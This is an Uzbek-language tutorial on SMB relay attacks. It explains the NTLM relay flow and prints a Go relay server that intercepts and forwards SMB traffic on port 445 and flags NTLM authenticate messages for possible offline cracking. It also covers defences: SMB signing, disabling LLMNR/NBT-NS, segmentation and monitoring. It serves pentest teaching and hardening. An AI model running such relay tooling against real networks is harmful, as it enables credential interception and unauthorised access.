# SMB Relay Attacks ## Bu darsda **SMB Relay** — NTLM autentifikatsiya trafikni intercept qilib, boshqa serverga yo'naltirish. Bu Man-in-the-Middle (MITM) hujumining bir turi. Pass-the-Hash'dan farqi: hash oldin dump qilinishi shart emas. Go'da relay server, NTLM paket tahlili va himoya choralarini ko'ramiz. ## SMB Relay nima? | Pass-the-Hash | SMB Relay | |---|---| | Hash kerak | Hash kerak emas | | Avvaldan dump qilingan | Real-time intercept | | Victim sistema compromised bo'lishi kerak | Faqat tarmoq pozitsiyasi kerak | | Offline tayyorlik | Hujum to'g'ridan to'g'ri o'tadi | SMB Relay'da hujumchi victim va target server o'rtasida turadi. Victim ulanishga harakat qilganda, hujumchi uning autentifikatsiya ma'lumotlarini tutib, boshqa serverga uzatadi. ```mermaid sequenceDiagram participant V as Victim participant A as Hujumchi (MITM) participant T as Target Server V->>A: 1. Negotiate A->>T: 2. Negotiate (uzatish) T->>A: 3. Challenge A->>V: 4. Challenge (uzatish) Note over V: Response = HMAC(NT Hash, Challenge) V->>A: 5. Authenticate (response) Note over A: Credential'lar tutib olindi! A->>T: 6. Authenticate (uzatish) T->>A: 7. Access Granted A->>T: 8. Zararli amallar ``` Jarayon ishlashi uchun zaruriy shartlar: - **SMB Signing o'chirilgan** — Target serverda imzolash majburiy emas - **Victim credential'lari target'da valid** — victim account target'da ham bor - **MITM pozitsiyasi** — LLMNR/NBT-NS poisoning yoki ARP spoofing > [!CAUTION] > SMB Relay faqat ruxsat olingan pentest ishlarida qo'llaniladi. Ruxsatsiz ishlatish jinoiy javobgarlikka olib keladi. ## SMB Signing **SMB Signing** — har bir SMB paketni raqamli imzo bilan tasdiqlash. Signing yoqilgan bo'lsa, hujumchi paketni uzatayotganda imzo buziladi va server rad etadi. ```mermaid flowchart TD A[SMB Paket] --> B{Signing?} B -->|Yoqilgan| C[Paket + Imzo] B -->|O'chirilgan| D[Faqat paket] C --> E[Server imzoni tekshiradi] E -->|Buzilgan| F[Rad etildi] E -->|To'g'ri| G[Qabul qilindi] D --> H[Server tekshirmaydi] H --> I[MITM mumkin] ``` PowerShell bilan tekshirish: ```powershell Get-SmbServerConfiguration | Select RequireSecuritySignature ``` ## Relay server (Go) ```go package main import ( "log" "net" ) // SMBRelayServer — victim va target o'rtasida turadi type SMBRelayServer struct { ListenAddr string // victim ulanadigan manzil TargetAddr string // haqiqiy target server } // Start — serverni ishga tushiradi func (srs *SMBRelayServer) Start() error { listener, err := net.Listen("tcp", srs.ListenAddr) if err != nil { return err } defer listener.Close() log.Printf("Relay server: %s → %s\n", srs.ListenAddr, srs.TargetAddr) for { victimConn, err := listener.Accept() if err != nil { continue } log.Printf("Victim ulandi: %s\n", victimConn.RemoteAddr()) go srs.handleVictim(victimConn) } } // handleVictim — bitta victim sessiyasini boshqaradi func (srs *SMBRelayServer) handleVictim(victimConn net.Conn) { defer victimConn.Close() // target serverga ulanish targetConn, err := net.Dial("tcp", srs.TargetAddr) if err != nil { log.Printf("Target ulanmadi: %v\n", err) return } defer targetConn.Close() log.Printf("Target bilan bog'landi, relay boshlanadi\n") done := make(chan struct{}, 2) // victim → target go func() { srs.relay(targetConn, victimConn, "V→T") done <- struct{}{} }() // target → victim go func() { srs.relay(victimConn, targetConn, "T→V") done <- struct{}{} }() <-done // bitta yo'nalish tugasa, session tugaydi } // relay — bir yo'nalishda ma'lumot uzatadi va NTLM paketlarni tekshiradi func (srs *SMBRelayServer) relay(dst, src net.Conn, direction string) { buf := make([]byte, 4096) for { n, err := src.Read(buf) if err != nil { return } data := buf[:n] srs.inspectNTLM(data, direction) if _, err = dst.Write(data); err != nil { return } } } // inspectNTLM — NTLM paket turini aniqlaydi func (srs *SMBRelayServer) inspectNTLM(data []byte, direction string) { // NTLM paketlar "NTLMSSP" imzosi bilan boshlanadi if len(data) < 12 { return } if string(data[:7]) != "NTLMSSP" { return } // little-endian 32-bit message type msgType := uint32(data[8]) | uint32(data[9])<<8 | uint32(data[10])<<16 | uint32(data[11])<<24 switch msgType { case 1: log.Printf("[%s] NTLM Negotiate — victim autentifikatsiya boshladi\n", direction) case 2: log.Printf("[%s] NTLM Challenge — server challenge yubordi\n", direction) case 3: log.Printf("[%s] NTLM Authenticate — victim credential'larini yubordi!\n", direction) // bu yerda Type 3 paketdan username, domain, response ni ajratib olish mumkin // ajratilgan response → hashcat bilan offline cracklash mumkin } } func main() { relay := &SMBRelayServer{ ListenAddr: "0.0.0.0:445", TargetAddr: "192.168.1.100:445", } log.Fatal(relay.Start()) } ``` **NTLM Type 3 paketi** — eng muhim: victim'ning username, domain va response'ini o'z ichiga oladi. Response hashcat formati bilan saqlansa, offline cracklash mumkin. Ikki goroutine bidirectional relay qiladi: `V→T` va `T→V` parallel ishlaydi. Bitta yo'nalish uzilsa, `done` kanal signal beradi va ikkinchisi ham to'xtaydi. ## Himoya choralari ### SMB Signing yoqish (eng muhim) Group Policy orqali: ``` Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → "Microsoft network server: Digitally sign communications (always)" = Enabled ``` PowerShell orqali: ```powershell Set-SmbServerConfiguration -RequireSecuritySignature $true ``` ### LLMNR va NBT-NS o'chirish LLMNR va NBT-NS — name resolution protokollari. Ularni poisoning qilib victim MITM pozitsiyasiga yo'naltiriladi. O'chirilsa, victim faqat DNS ishlatadi, poisoning mumkin emas. ```powershell # LLMNR Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" ` -Name "EnableMulticast" -Value 0 # NBT-NS — barcha adapterlar Get-WmiObject Win32_NetworkAdapterConfiguration | Where IPEnabled | ForEach-Object { $_.SetTcpipNetbios(2) } ``` ### Network segmentation ```mermaid flowchart TD A[Internet] --> B[Firewall] B --> C[User VLAN] B --> D[Server VLAN] B --> E[Admin VLAN] C -.->|Bloklangan| D C -.->|Bloklangan| E ``` Tarmoq segmentatsiyasi MITM pozitsiyasini qiyinlashtiradi. ### Monitoring - **Event ID 4776** — NTLM autentifikatsiya - **Event ID 4624** — muvaffaqiyatli login - **Event ID 5140** — share'ga kirish Noodatiy vaqtda yoki noodatiy IP'dan admin login — relay belgisi. ## Qisqacha 1. SMB Relay — real-time MITM; hash dump shart emas, faqat tarmoq pozitsiyasi kerak. 2. Zaruriy shart: SMB Signing o'chirilgan bo'lishi kerak. 3. NTLM Type 3 paket — victim credential'larini o'z ichiga oladi. 4. Relay server: `victim ↔ relay ↔ target`, ikki goroutine bidirectional. 5. Himoya: SMB Signing majburiy + LLMNR/NBT-NS o'chirish. ## Keyingi qadam Keyingi darsda **SMB Security Best Practices** — hardening checklist, Go'da avtomatlashtirilgan xavfsizlik audit vositasi va tarmoq miqyosida skanerlash.